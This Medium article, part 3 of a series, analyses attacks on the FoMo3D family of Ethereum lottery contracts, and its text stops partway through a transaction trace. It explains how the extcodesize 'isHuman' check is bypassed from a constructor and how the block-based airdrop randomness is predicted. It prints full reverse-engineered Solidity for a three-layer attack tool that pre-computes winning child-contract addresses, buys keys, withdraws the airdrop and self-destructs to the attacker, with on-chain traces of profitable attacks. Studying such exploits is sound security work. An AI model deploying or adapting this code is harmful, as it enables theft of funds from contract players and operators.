Exploiting FoMo3D Family: part 3

Zhongqiang Chen
19 min readNov 30, 2019

--

Overview of Dapp FoMo3D

The FoMo3D is a lottery game that is built as a decentralized application (Dapp) in which the last person to buy a key at the end of a round wins the pot. During a round, players can purchase 1 or more keys which resets the timer marking them as the current leader. With each key purchase during the round, the key price increases slightly. Players receive a stream of passive income from the game as keys are bought during the round. When the timer reaches zero, last person to buy a key wins.

There are many variants in the FoMo3D game family such as FoMo3DShort, FoMo3DSoon, and FoMo3DLong. Here we use FoMo3DLong game as an example.

In fact, even for FoMo3DLong game, it is also deployed on multiple addresses. One deployment of FoMo3DLong game is given below.

FoMo3DLong:
contract address: 0xA62142888ABa8370742bE823c1782D17A0389Da1
contract creator: 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3source code of the contract:
https://etherscan.io/address/0xa62142888aba8370742be823c1782d17a0389da1#codetransaction that deployed the contract:
Transaction Hash: 0xf63e775e10b0f662574ab49cd4c080ddcda8ca7d0012b5f0fbf0b03ad1c977ac
Status: Success
Block: 5915466 3107383 Block Confirmations
Timestamp: 511 days 8 hrs ago (Jul-06-2018 11:17:45 AM +UTC)
From: 0xf39e044e1ab204460e06e87c6dca2c6319fc69e3
To: [Contract 0xa62142888aba8370742be823c1782d17a0389da1 Created] (Fomo3D: Long)
Value: 0 Ether ($0.00)
Transaction Fee: 0.50999404562435 Ether ($79.01)
Gas Limit: 6,500,000
Gas Used by Transaction: 6,181,746 (95.1%)
Gas Price: 0.000000082500000101 Ether (82.500000101 Gwei)
Nonce Position 75 37
Input Data: (omitted)

The source code of the FoMo3DLong game is published by its creator on etherscan.io and the link to the source code is given above.

By looking at the source code of the game, we can see that the computation of airdrop is performed by the function airdrop(), which is copied here.

contract FoMo3Dlong is modularLong {
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
}

This function first generates a random number in the range [0, 999], and then compares it with variable “airDropTracker_”, the caller can win the airdrop if the generated random number is less than the value in variable “airDropTracker_”.

The sources of the random number include information on the current block and the address of the player. The information on the current block used by the function is: the block creation time, the block difficulty, the block miner’s address, and the block number.

The function airdrop() is invoked by function core(), which is presented as follows.

/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
} // if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID; if (round_[_rID].team != _team)
round_[_rID].team = _team; // set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
} // manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} // set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker
airDropTracker_ = 0;
}
} // store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}

The main inputs to this function are: round ID, player ID, the purchase amount, affiliation of the player, and the player’s team.

This function first checks whether or not the player is new to the current round of the game. That is, the player did not purchase any key yet in the current round.

The function then checks if the game is in its early stage, meaning that the total amount of Ethers accumulated by key purchases is still low (i.e., the total amount of Ethers is less than 100). If it is in the game’s early stage, then the key purchase is limited to be within 1 Ether.

Any purchase needs to be larger than the minimum requirement (i.e., 1000000000 Wei).

If the purchase is at least 1 whole key (i.e., 1 Ether), then the timer is updated and the purchaser becomes the new leader of the current round and its team becomes the leading team.

If the purchase amount is not lower than 0.1 Ethers, the purchaser is also qualified to enter the draw for winning an airdrop. The number of such qualified transactions is recorded by the variable “airDropTracker_”, which is incremented each time a “qualified” transaction occurs.

The airdrop is categorized into 3 different tiers based on the amount of purchase: the airdrop is in tier one if the purchase amount is not lower than 10 Ethers, it is in tier two if the purchase amount is between 1 Ethers and 10 Ethers, and it is in tier three if the purchase amount is in range [0.1, 1) Ethers.

The prize of the airdrop in these 3 tiers is computed differently. More specifically, the prize of the airdrop is 75%, 50%, and 25%, respectively, of the money in the airdrop pool stored in variable “airDropPot_”.

If an airdrop is won, the variable “airDropTracker_” is reset to zero.

Whenever a purchase occurs, the purchase amount is distributed among different pools, which is performed in functions distributeExternal() and distributeInternal(). For instance, in function distributeInternal(), 1% of the purchase is added to the airdrop pool stored in variable “airDropPot_”.

The function core() is the building block for function buyCore(), which is given below.

/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_; // grab time
uint256 _now = now; // if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_); // build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} // put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}

This function first checks if the the round of the game is active. If the current round is still not ended, then the purchase is valid for the current round and function core() is invoked.

If the end time for the current round is passed, then the function will end the round and distribute pot appropriately.

Because the function buyCore() is private, players can not call it directly. Instead, the contract provides multiple publicly accessible functions for players to play the game.

Also, the fallback function of the game contract can also be used for emergency key purchase. The fallback function is shown below.

/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}

The inputs to this function are the affiliation code of the player and the player’s team. In this function, the player’s address is used as the player’s ID. If affiliation code is not given (i.e., _affCode is zero or it is the same as the player’s ID), then the affiliation code previously stored by the player will be used.

Besides to be publicly accessible, this function is also guarded with modifier isHuman() to prevent any contract rather than externally owned account (EOA) from interacting with the game.

/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

The modifier isHuman() simply checks whether the sender has any code associated with its account. If there is any code attached to the account, then the account is not an EOA, instead, it must be a smart contract.

The vulnerabilities of the FoMo3D game family are mainly the following:

  1. The game uses the length of the code associated with an account to differentiate human from smart contract. When a smart contract is created, however, its constructor is first executed and during the execution of its constructor, the code of the smart contract has not been copied and stored into the state of the blockchain, therefore, the length of its code is zero.
  2. The sources of the random number used for airdrop computation are from current block and the player. These sources are also available to the player and they can be accessed by the player via a smart contract before the game is played.

Because of its popularity and its vulnerabilities. FoMo3D game family attracts many attackers. By exploiting these vulnerabilities, attackers successfully steal money from the games.

We will look at some of these exploitations and in this part of the article, we study one of such exploitations.

Exploiting the game

The attack tool we introduce in this part of the article is the one that is deployed on the Ethereum blockchain, and the information of its deployment is as follows.

frontend:
contract address: 0xf890aE9Fd0C77a5b2117Ef47e214B3A89276B097
contract creator: 0x7F2F933EE22B802935449911fc8C7F35FB00409C
creation time: Jul-23-2018 08:17:27 PM +UTC
creation block: 6017737
total number of transactions: 172
mid-layer:
contract address: 0xbc1483B3ea0408A0e33d5b0bfCd64C1EB6452991
contract creator: 0x7F2F933EE22B802935449911fc8C7F35FB00409C
creation time: Jul-23-2018 11:05:18 AM +UTC
creation block: 6015454
total number of transactions: 75
total number of internal transactions: 3468
backend:
contract address: 0x5160F7bBEC16A228f01516Dd40914B31f0256Ef0
contract creator: 0x7F2F933EE22B802935449911fc8C7F35FB00409C
creation time: Jul-23-2018 11:01:03 AM +UTC
creation block: 6015432
total number of transactions: 1

This attack tool mainly consists of 3 smart contracts: frontend, mid-layer, and backend. As these 3 smart contracts are deployed on addresses 0xf890, 0xbc14, and 0x5160, respectively, we name these three smart contracts as contract_f890, contract_bc14, and contract_5160.

All three smart contracts are deployed by the same account, 0x7f2f. The deployment orders of these 3 smart contracts are reasonable: the backend smart contract is deployed first, followed by mid-layer smart contract, and the frontend smart contract is deployed last.

The total number of transactions in the backend contract indicates that contract is not intended to be accessed directly, but only be accessed through other smart contracts.

The source codes of front end, mid-layer, and back end smart contracts are not published by its creators. Thus, they are not available for public to study.

The source code of the frontend smart contract presented below is obtained by reverse engineering methods.

pragma solidity ^0.5.1;contract contract_f890 {
constructor () public {
}

// function selector: 0x14fd4ccb
// code entrance: 0x0046
function exploit(address _target, address _midlayer)
public {
// function: airDropTracker_()
// selector: 0x11a09ae7
(bool success, bytes memory data) = _target.call(
abi.encodeWithSelector(0x11a09ae7)
);
require (success == true);
require (data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256)); // function: airDropPot_()
// selector: 0xd87574e0
(success, data) = _target.call(
abi.encodeWithSelector(0xd87574e0)
);
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); // 0x058d15e176280000 = 4e+17
require (pot > (0.4 ether));
// 0x016345785d8a0000 = 1e+17
uint256 val = 0.1 ether;
(success,) = _midlayer.call(
abi.encodePacked(
bytes4(keccak256("run(address,uint256,uint256)")),
_target,
val,
tracker + 0x01
)
);
}
}

It is clear that besides the empty constructor, the frontend smart contract provides only the function exploit() for the attackers to invoke.

The function exploit() takes two arguments as its inputs: the address of the target to be attacked and the address of the mid-layer smart contract.

Because both the attack target and the mid-layer are passed as parameters to the function exploit(), this attack tool is extremely flexible. In this way, the attack tool is able to use any feasible mid-layer to launch attacks, and it can attack any chosen target.

The function exploit() mainly performs the following tasks.

  1. It contacts the target to fetch the value of “airDropTracker_”.
  2. It interacts with the target to get the value of “airDropPot_”, and ensures that it should be larger than 0.4 Ethers. Otherwise, it simply reverts the transaction.
  3. It invokes the function run() in the mid-layer smart contract.

To understand how the function run() in the mid-layer smart contract works, we recover the source code of the mid-layer smart contract with reverse engineering techniques. The source code of the mid-layer smart contract is given here.

pragma solidity ^0.5.1;contract contract_bc14 {
using SafeMath for *;

// slot 0x00
address public owner;
// slot 0x01
uint256 public numAgents;
// slot 0x02
mapping (uint256 => address) public agents;
// slot 0x03
mapping (uint256 => uint256) public nonces;

constructor () public {
numAgents = 0;
owner = msg.sender;
}

function () external payable {
}

// function selector: 0x3ccfd60b
// code entrance: 0x00f2
function withdraw() public {
require (msg.sender == owner);
msg.sender.transfer(address(this).balance);
}

// function selector: 0x566961e8
// code entrance: 0x0134
function createAgents(address _backend) public {
// 0x03e8 = 1000
require (numAgents < 1000);
// 0x32 = 50
uint256 num = numAgents;
for (uint256 idx = 0; idx < 50; idx++) {
address child = createChild(_backend);
agents[num] = child;
nonces[num] = 1;
num += 1;
}
numAgents = num;
}

// function selector: 0xb6fa3b5a
// code entrance: 0x020f
function run(address _target, uint256 _val,
uint256 _tracker) public payable {
for (uint256 idx = 0; idx < numAgents; idx++) {
address _addr = address(computeHash(agents[idx],
nonces[idx]));
if (airdrop(_addr, _tracker) > 0) {
// function: execute()
// selector: 0x1f269689
(bool success,) = agents[idx].call.value(_val)(
abi.encodeWithSelector(0x1f269689,
address(this),
_target,
_val,
_tracker
)
);
require (success == true); nonces[idx] = nonces[idx] + 1;
break;
}
}
}

// internal functions

// code entrance: 0x0635
function createChild(address _backend) private
returns (address) {
bytes memory code = "600034603b57603080600f833981f36000368180378080368173bebebebebebebebebebebebebebebebebebebebe5af43d82803e15602c573d90f35b3d90fd";
bytes32 data = bytes32(
0x01000000000000000000000000 * uint256(_backend)
);
for (uint256 idx = 0; idx < 0x14; idx++) {
// 0x1a = 26
code[26 + idx] = data[idx];
}
uint256 len = code.length;
uint256 child;
assembly {
child := create(0x00, code, len)
}
return address(child);
}

// code entrance: 0x0751
function computeHash(address _addr, uint256 _nonce) private pure
returns (uint256) {
uint256 num;
if (_nonce == 0) {
bytes memory data = abi.encodePacked(uint8(0xd6),
uint8(0x94), _addr, uint8(0x80));
num = uint256(keccak256(data));
}
else if (_nonce <= 0x7f) {
bytes memory data = abi.encodePacked(uint8(0xd6),
uint8(0x94), _addr, uint8(_nonce));
num = uint256(keccak256(data));
}
else if (_nonce <= 0xff) {
bytes memory data = abi.encodePacked(uint8(0xd7),
uint8(0x94), _addr, uint8(0x81), uint8(_nonce));
num = uint256(keccak256(data));
}
else if (_nonce <= 0xffff) {
bytes memory data = abi.encodePacked(uint8(0xd8),
uint8(0x94), _addr, uint8(0x82), uint16(_nonce));
num = uint256(keccak256(data));
}
else if (_nonce <= 0xffffff) {
bytes memory data = abi.encodePacked(uint8(0xd9),
uint8(0x94), _addr, uint8(0x83), uint24(_nonce));
num = uint256(keccak256(data));
}
else {
bytes memory data = abi.encodePacked(uint8(0xda),
uint8(0x94), _addr, uint8(0x84), uint32(_nonce));
num = uint256(keccak256(data));
}
return num;
}

// code entrance: 0x1243
function airdrop(address _addr, uint256 _tracker) private view
returns (uint256) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase))))
/ block.timestamp).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(_addr))))
/ block.timestamp).add
(block.number)
)));
uint256 rtn; // 0x03e8 = 1000
if ((seed - ((seed / 1000) * 1000)) < _tracker) {
rtn = seed;
}
else {
rtn = 0;
}
return rtn;
}
}

library SafeMath {
// code entrance: 0x14eb
function add(uint256 a, uint256 b) internal pure
returns (uint256) {
uint256 c = (a + b);
require (c >= a, "SafeMath add failed"); return c;
}
}

Evidently, the main point to the mid-layer smart contract is the function run(). The function has 3 arguments: the attack target, the amount of ethers for key purchase, and the value of airdrop tracker.

To effectively exploit the vulnerabilities of the FoMo3D game, the mid-layer smart contract maintains a pool of smart contracts, let us call such smart contracts as agents, and uses these agents to launch the attacks.

Assuming that such a pool of agents has been built, the function run() proceeds with the following steps.

  1. It computes the address of the sub-smart contract created by each agent in the pool based on its current nonce.
  2. For each computed address of the sub-smart contract, it checks whether or not the sub-smart contract can win the airdrop.
  3. If the sub-smart contract can win the airdrop, it invokes the function execute(), which has selector 0x1f269689, to launch the actual attack.
  4. After the attack, it updates the nonce of the sub-smart contract that fires the attack.

In order to build the pool of agents, the mid-layer contract_bc14 provides the function createAgents(), which can be used to create a batch of smart contracts (i.e., 50) and put them into the pool.

The only argument to the function createAgents() is the address of the backend smart contract. Therefore, the backend smart contract used by the mid-layer is not hard coded but is configurable, making the attack tool very flexible.

The function createAgents() invokes another function called createChild() to actually create the smart contract. When a smart contract in the pool is created, the piece of code hold in the function createChild() is used as the template. This piece of binary code looks like the following.

600034603b57603080600f833981f36000368180378080368173bebebebebebebebebebebebebebebebebebebebe5af43d82803e15602c573d90f35b3d90fd

We can see that there is a placeholder in this piece of code, which reads “bebebebebebebebebebebebebebebebebebebebe”. The size of this placeholder is 20 bytes, and it is in fact the place to store the address of the backend smart contract.

In function createChild(), the content of this placeholder is replaced with the true address of the backend smart contract before the template is used to create the proxy smart contract.

If this piece of binary code is decompiled by using reverse engineering techniques, we obtain the following source code in solidity language.

pragma solidity ^0.5.1;contract child_bc14 {
constructor () public {
}

function () external {
address backend = 0x5160F7bBEC16A228f01516Dd40914B31f0256Ef0;
(bool success,) = backend.delegatecall(msg.data); require (success == true);
}
}

The source code of the proxy smart contract is simple. besides the constructor, it only has a fallback function. What the fallback function does is also very simple: it processes whatever it gets with the code from the backend smart contract by using the “delegate call”.

In this example, the backend smart contract used is 0x5160.

It is worthy of pointing out that the function computeHash() in the mid-layer contract is used to calculate the address of the sub-smart contract based on the given account’s address and its nonce. By enumerating all possible range of the nonce space, this function essentially covers the entire space of nonce. Therefore, this function can handle all possible addresses of sub-smart contracts.

The source code of the backend smart contract, contract_5160, is restored from its binary code and is shown below.

pragma solidity ^0.5.1;contract contract_5160 {
constructor () public {
}

// function selector: 0x1f269689
// code entrance: 0x0046
function execute(address payable _recipient, address _target,
uint256 _val, uint256 _tracker) public {
address agent = address(
(new child_5160).value(_val)(
_recipient, _target, _val, _tracker
)
);
require (agent != address(0));
}
}

contract child_5160 {
constructor (address payable _recipient, address _target,
uint256 _val, uint256 _tracker) public payable {
bool success;
(success,) = _target.call.value(_val)(""); (success,) = _target.call(
abi.encodePacked(bytes4(keccak256("withdraw()")))
);
selfdestruct(_recipient);
}

// function selector: 0x275cb723
// code entrance: 0x0046
function command(address payable _recipient, address _target,
uint256 _val, uint256 _tracker) public payable {
bool success;
(success,) = _target.call.value(_val)(""); (success,) = _target.call(
abi.encodePacked(bytes4(keccak256("withdraw()")))
);
selfdestruct(_recipient);
}
}

The only function offered by the backend contract_5160, except the empty constructor, is the function execute() with selector 0x1f269689. This function does only one thing: it creates a sub-contract by using contract child_5160 as the template.

The real attack happens in the constructor of the sub-contract child_5160. The constructor takes 4 parameters: the recipient of the airdrop prize, the attack target, the amount of Ethers for key purchase, and the value of the airdrop tracker. The constructor performs the following tasks.

  1. It purchases keys by using the fallback function in the target smart contract.
  2. It claims the airdrop prize by invoking the function withdraw() in the target smart contract.
  3. It transfers all the money it possesses to the recipient, and self destructs itself.

Exploitation in action

Setting up the environment

Before any attack can be launched, a pool of smart contracts called agents must be built, which is maintained in the mid-layer. Therefore, the setup of the environment for attacks includes the construction of such a pool of agents.

As the size of the agent pool is large, that is, a maximum of 1000, it requires multiple calls to the function createAgents(). Each invocation of function createAgents can create 50 agents.

Here is a sample transaction that invokes the function createAgents() to create 50 agents.

Transaction Hash: 0x7a545ed1f15bfc19db24e15c5b4604c8e857f6a92f9c313d02afbb7020938d2c
Status: Success
Block: 6015480 2841905 Block Confirmations
Timestamp: 466 days 19 hrs ago (Jul-23-2018 11:10:55 AM +UTC)
From: 0x7f2f933ee22b802935449911fc8c7f35fb00409c
To: Contract 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991
Value: 0 Ether ($0.00)
Transaction Fee: 0.021761215 Ether ($3.98)
Gas Limit: 4,500,000
Gas Used by Transaction: 4,352,243 (96.72%)
Gas Price: 0.000000005 Ether (5 Gwei)
Nonce Position 10 43
Input Data:
0x566961e8
0000000000000000000000005160f7bbec16a228f01516dd40914b31f0256ef0

This transaction consumes 4,352,243 units of gas to create 50 agents. Thus, the average gas consumption for each agent creation is 4,352,243 / 50 = 87045 units.

The parameter to the function createAgents(), which has selector 0x566961e8, is the address of the backend smart contract. In this case, the backend smart contract used is at address 0x5160.

Attacking FoMo3DLong

One game in the FoMo3D family is FoMo3DLong. The FoMo3DLong game is deployed in multiple addresses. The information about one deployment of the FoMo3DLong game is given below.

contract address: 0xA62142888ABa8370742bE823c1782D17A0389Da1
contract creator: 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3
creation time: Jul-06-2018 11:17:45 AM +UTC
creation block: 5915466
total number of transactions: 245012
source code: https://etherscan.io/address/0xa62142888aba8370742be823c1782d17a0389da1#code

Many attacks launched by the attack tool introduced in this part of the article targeted the FoMo3DLong game.

Here is one of such attacks on this game.

Transaction Hash: 0xfabd5c4811800c5227c8ec27e0fd6b5695fca03725d3f7818cb1d666e77a8915
Status: Success
Block: 6020303 3008361 Block Confirmations
Timestamp: 494 days 13 hrs ago (Jul-24-2018 07:07:07 AM +UTC)
From: 0x7f2f933ee22b802935449911fc8c7f35fb00409c
To: Contract 0xf890ae9fd0c77a5b2117ef47e214b3a89276b097
TRANSFER 0.1 Ether From 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991 To 0x31b33d00811d850c7ce94fc875fa5192548a1471
TRANSFER 0.1 Ether From 0x31b33d00811d850c7ce94fc875fa5192548a1471 To 0xe97be04beac94fe4b1cbaf6e565ed38a6876e0c6
TRANSFER 0.1 Ether From 0xe97be04beac94fe4b1cbaf6e565ed38a6876e0c6 To 0xa62142888aba8370742be823c1782d17a0389da1
TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee
TRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5
TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d
TRANSFER 0.02 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48
TRANSFER 0.150539116971635737 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xe97be04beac94fe4b1cbaf6e565ed38a6876e0c6
TRANSFER 0.150539116971635737 Ether From 0xe97be04beac94fe4b1cbaf6e565ed38a6876e0c6 To 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991
SELF DESTRUCT Contract 0xe97be04beac94fe4b1cbaf6e565ed38a6876e0c6Value: 0 Ether ($0.00)
Transaction Fee: 0.0069305796 Ether ($1.05)
Gas Limit: 2,500,000
Gas Used by Transaction: 686,196 (27.45%)
Gas Price: 0.0000000101 Ether (10.1 Gwei)
Nonce Position 92 15
Input Data:
0x14fd4ccb
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
000000000000000000000000bc1483b3ea0408a0e33d5b0bfcd64c1eb6452991

The launcher of the attack is 0x7f2f, which is also the deployer of this attack tool.

This transaction invokes the function exploit() (with selector 0x14fd4ccb) in the frontend smart contract. The two parameters to the function are: attack target and address of mid-layer smart contract. Thus, this attack aims at FoMo3DLong at 0xa621 by using contract_bc14 as the mid-layer smart contract.

The airdrop prize won by this transaction is 0.150539116971635737 Ethers. As the amount of key purchase is 0.1 Ethers, the net gain is 0.050539116971635737 Ethers. Even we deduct the transaction fee from the net gain, the attack is still profitable.

Attacking FoMo3DShort

The same attack tool is also used to launch attacks on the FoMo3DShort game. Some information about this game is given below.

contract address: 0x52083b1a21a5abC422B1b0bce5c43Ca86EF74cD1
contract creator: 0x8aB5FF360B4545f478b68cb13657710F32D4857f
creation time: Jul-23-2018 01:46:10 PM +UTC
creation block: 6016109
total number of transactions: 2533
source code: https://etherscan.io/address/0x52083b1a21a5abC422B1b0bce5c43Ca86EF74cD1#code

One of the attacks on the FoMo3DShort game is launched by the following transaction.

Transaction Hash: 0x03461ab5f66f26d7bf867c88a2a8784c11e7db627279a12b0ace16dba7aea682
Status: Success
Block: 6017795 3010834 Block Confirmations
Timestamp: 494 days 23 hrs ago (Jul-23-2018 08:33:57 PM +UTC)
From: 0x7f2f933ee22b802935449911fc8c7f35fb00409c
To: Contract 0xf890ae9fd0c77a5b2117ef47e214b3a89276b097
TRANSFER 0.1 Ether From 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991 To 0x7d36304e1f6813d35bf44762b874e96185b4dd99
TRANSFER 0.1 Ether From 0x7d36304e1f6813d35bf44762b874e96185b4dd99 To 0x7abc6f982145db75df6333763fb269f6610541b0
TRANSFER 0.1 Ether From 0x7abc6f982145db75df6333763fb269f6610541b0 To 0x52083b1a21a5abc422b1b0bce5c43ca86ef74cd1
TRANSFER 0.003 Ether From 0x52083b1a21a5abc422b1b0bce5c43ca86ef74cd1 To 0x8ab5ff360b4545f478b68cb13657710f32d4857f
TRANSFER 0.127037142247663526 Ether From 0x52083b1a21a5abc422b1b0bce5c43ca86ef74cd1 To 0x7abc6f982145db75df6333763fb269f6610541b0
TRANSFER 0.127037142247663526 Ether From 0x7abc6f982145db75df6333763fb269f6610541b0 To 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991
SELF DESTRUCT Contract 0x7abc6f982145db75df6333763fb269f6610541b0Value: 0 Ether ($0.00)
Transaction Fee: 0.004610298 Ether ($0.70)
Gas Limit: 2,500,000
Gas Used by Transaction: 419,118 (16.76%)
Gas Price: 0.000000011 Ether (11 Gwei)
Nonce Position 38 79
Input Data:
0x14fd4ccb
00000000000000000000000052083b1a21a5abc422b1b0bce5c43ca86ef74cd1
000000000000000000000000bc1483b3ea0408a0e33d5b0bfcd64c1eb6452991

The attack target given as a parameter to the function exploit() with selector 0x14fd4ccb is 0x5208, which is the address of the smart contract for the FoMo3DShort game.

Another parameter to the function exploit() is the address of the backend smart contract. Again, contract_bc14 is used.

The airdrop prize won by this transaction is 0.127037142247663526 Ethers. After deducting the cost of key purchase 0.1 Ethers, the net profit is 0.027037142247663526 Ethers

Attacking FoMoGame

Similarly, the attack tool is also used to attack the FoMoGame. The information about the FoMoGame is given below.

contract address: 0x86D179c28cCeb120Cd3f64930Cf1820a88B77D60
contract creator: 0x937328B032B7d9A972D5EB8CbDC0D3c9B0EB379D
creation time: Jul-24-2018 08:13:48 AM +UTC
creation block: 6020562
total number of transactions: 7784
source code: https://etherscan.io/address/0x86d179c28cceb120cd3f64930cf1820a88b77d60#code

One of the attacks on the FoMoGame is shown below.

Transaction Hash: 0xfa8b442d61f354fae72205fe81af06ddd8d4febfb21e170624c61a5a2857986e
Status: Success
Block: 6024385 3004295 Block Confirmations
Timestamp: 493 days 20 hrs ago (Jul-24-2018 11:46:39 PM +UTC)
From: 0x7f2f933ee22b802935449911fc8c7f35fb00409c
To: Contract 0xf890ae9fd0c77a5b2117ef47e214b3a89276b097
TRANSFER 0.1 Ether From 0xbc1483b3ea0408a0e33d5b0bfcd64c1eb6452991 To 0xcb3d33b168ba0e81564a6860bda4089a72a03b6a
TRANSFER 0.1 Ether From 0xcb3d33b168ba0e81564a6860bda4089a72a03b6a To 0xf4fc5b0899a163a332b227d52ff77e51d78732dc
TRANSFER 0.1 Ether From 0xf4fc5b0899a163a332b227d52ff77e51d78732dc To 0x86d179c28cceb120cd3f64930cf1820a88b77d60
TRANSFER 0.001 Ether From 0x86d179c28cceb120cd3f64930cf1820a88b77d60 To 0x24f73508ee8fbf5ac39e51c363ff87e736fe659b
TRANSFER 0.002 Ether From 0x86d179c28cceb120cd3f64930cf1820a88b77d60 To 0xbd4c9ab2f3e241f1291d55af51cb0d949077b591
TRANSFER 0.002 Ether From 0xbd4c9ab2f3e241f1291d55af51cb0d949077b591 To 0x584fcd15637a356ab274f847fcfa4647bbe6927f
TRANSFER 0.01 Ether From 0x86d179c28cceb120cd3f64930cf1820a88b77d60 To 0xbd4c9ab2f3e241f1291d55af51cb0d949077b591
TRANSFER 0.01 Ether From 0xbd4c9ab2f3e241f1291d55af51cb0d949077b591 To 0x584fcd15637a356ab274f847fcfa4647bbe6927f
